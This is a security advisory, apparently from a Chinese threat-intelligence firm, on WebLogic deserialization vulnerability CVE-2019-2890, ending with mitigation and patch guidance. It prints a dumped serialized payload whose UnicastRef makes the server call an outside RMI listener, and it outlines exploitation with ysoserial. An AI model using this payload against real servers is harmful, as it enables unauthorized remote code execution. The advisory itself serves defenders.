【漏洞预警】WebLogic反序列化(CVE-2019-2890)漏洞预警

匿名者  1880天前

00.png

2019年10月,白帽汇安全研究院监测到互联网上爆出了Weblogic反序列化远程命令执行漏洞,攻击者可利用该漏洞在未经授权下通过构造T3协议请求,绕过Weblogic的反序列化黑名单,从而获取Weblogic服务器权限,风险较大。希望相关用户采取下方的临时修复方案进行应急。

概况

Weblogic是Oracle公司出品的基于JavaEE架构的中间件,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用。

根据FOFA的数据统计,全球共有26627个开放的weblogic服务。其中美国最多,有8047个开放服务。其次是中国,有5407个开放的weblogic服务。荷兰排第三,有3584个开放的weblogic服务。伊朗第四,有2351个开放的weblogic服务。日本第五,有780个开放的weblogic服务。

全球范围内weblogic服务分布情况(仅为分布情况,非漏洞影响情况)

earth (1).png

国内的weblogic服务分布如下,北京最多,有3248个服务,广东有232个服务,上海有213个服务,浙江有200个服务,江苏有156个服务。

earth (2).png

危害等级

严重

漏洞分析

T3协议在Weblogic控制台开启的情况下默认开启,而Weblogic默认安装自动开启的控制台,由此攻击者可利用该漏洞造成远程代码执行,从而控制Weblogic服务器。

利用RMI接口:java.rmi.activation.Acticator,序列化RemoteobjectInvocationHandler,并使用UnicastRef和远端建立tcp连接,最终将加载的内容利用readobject()进行解析,导致序列化的恶意代码执行(以下为最终的payload)。

    STREAM_MAGIC - 0xac ed
    STREAM_VERSION - 0x00 05
    Contents
        TC_object - 0x73
        TC_PROXYCLASSDESC - 0x7d
          newHandle 0x00 7e 00 00
          Interface count - 1 - 0x00 00 00 01
          proxyInterfaceNames
            0:
              Length - 29 - 0x00 1d
              Value - java.rmi.activation.Activator - 0x6a6176612e726d692e61637469766174696f6e2e416374697661746f72
          classAnnotations
            TC_ENDBLOCKDATA - 0x78
          superClassDesc
            TC_CLASSDESC - 0x72
              className
                Length - 23 - 0x00 17
                Value - java.lang.reflect.Proxy - 0x6a6176612e6c616e672e7265666c6563742e50726f7879
              serialVersionUID - 0xe1 27 da 20 cc 10 43 cb
              newHandle 0x00 7e 00 01
              classDescFlags - 0x02 - SC_SERIALIZABLE
              fieldCount - 1 - 0x00 01
              Fields
                0:
                  object - L - 0x4c
                  fieldName
                    Length - 1 - 0x00 01
                    Value - h - 0x68
                  className1
                    TC_STRING - 0x74
                      newHandle 0x00 7e 00 02
                      Length - 37 - 0x00 25
                      Value - Ljava/lang/reflect/InvocationHandler; - 0x4c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b
              classAnnotations
                TC_ENDBLOCKDATA - 0x78
              superClassDesc
                TC_NULL - 0x70
        newHandle 0x00 7e 00 03
        classdata
          java.lang.reflect.Proxy
            values
              h
                (object)
                  TC_OBJECT - 0x73
                    TC_CLASSDESC - 0x72
                      className
                        Length - 45 - 0x00 2d
                        Value - java.rmi.server.RemoteobjectInvocationHandler - 0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c6572
                      serialVersionUID - 0x00 00 00 00 00 00 00 02
                      newHandle 0x00 7e 00 04
                      classDescFlags - 0x02 - SC_SERIALIZABLE
                      fieldCount - 0 - 0x00 00
                      classAnnotations
                        TC_ENDBLOCKDATA - 0x78
                      superClassDesc
                        TC_CLASSDESC - 0x72
                          className
                            Length - 28 - 0x00 1c
                            Value - java.rmi.server.Remoteobject - 0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374
                          serialVersionUID - 0xd3 61 b4 91 0c 61 33 1e
                          newHandle 0x00 7e 00 05
                          classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
                          fieldCount - 0 - 0x00 00
                          classAnnotations
                            TC_ENDBLOCKDATA - 0x78
                          superClassDesc
                            TC_NULL - 0x70
                    newHandle 0x00 7e 00 06
                    classdata
                      java.rmi.server.Remoteobject
                        values
                        objectAnnotation
                          TC_BLOCKDATA - 0x77
                            Length - 55 - 0x37
                            Contents - 0x000a556e6963617374526566000e31302e31302e31302e3232000000000036590000000001eea90b000000000000000000000000000000
                          TC_ENDBLOCKDATA - 0x78
                      java.rmi.server.RemoteobjectInvocationHandler
                        values

漏洞利用

利用t3协议的缺陷实现远程方法调用达到执行任意反序列化payload的目的:第一步,监听rmi接口;第二步,执行反序列化操作。其反序列化内容指向外部的RMI监听接口,这样在反序列化的过程中就会从远程RMI监听端口加载内容并执行序列化操作,可使用ysoserial工具进行操作。

22.png

漏洞影响

目前漏洞影响版本号包括:

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.3

CVE编号

CVE-2019-2890

修复建议

一、禁用T3协议

若不依赖T3协议进行JVM通信,可通过暂时阻断T3协议缓解此漏洞带来的影响

操作:

1、进入weblogic控制台在base_domain配置页面中,进入“安全”选项卡页面,点击“筛选器”,配置筛选器。

2、在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则框中输入: 7001 deny t3 t3s

3、保存生效(无需重启)

二、升级补丁

https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html

参考

[1] https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

最新评论

昵称
邮箱
提交评论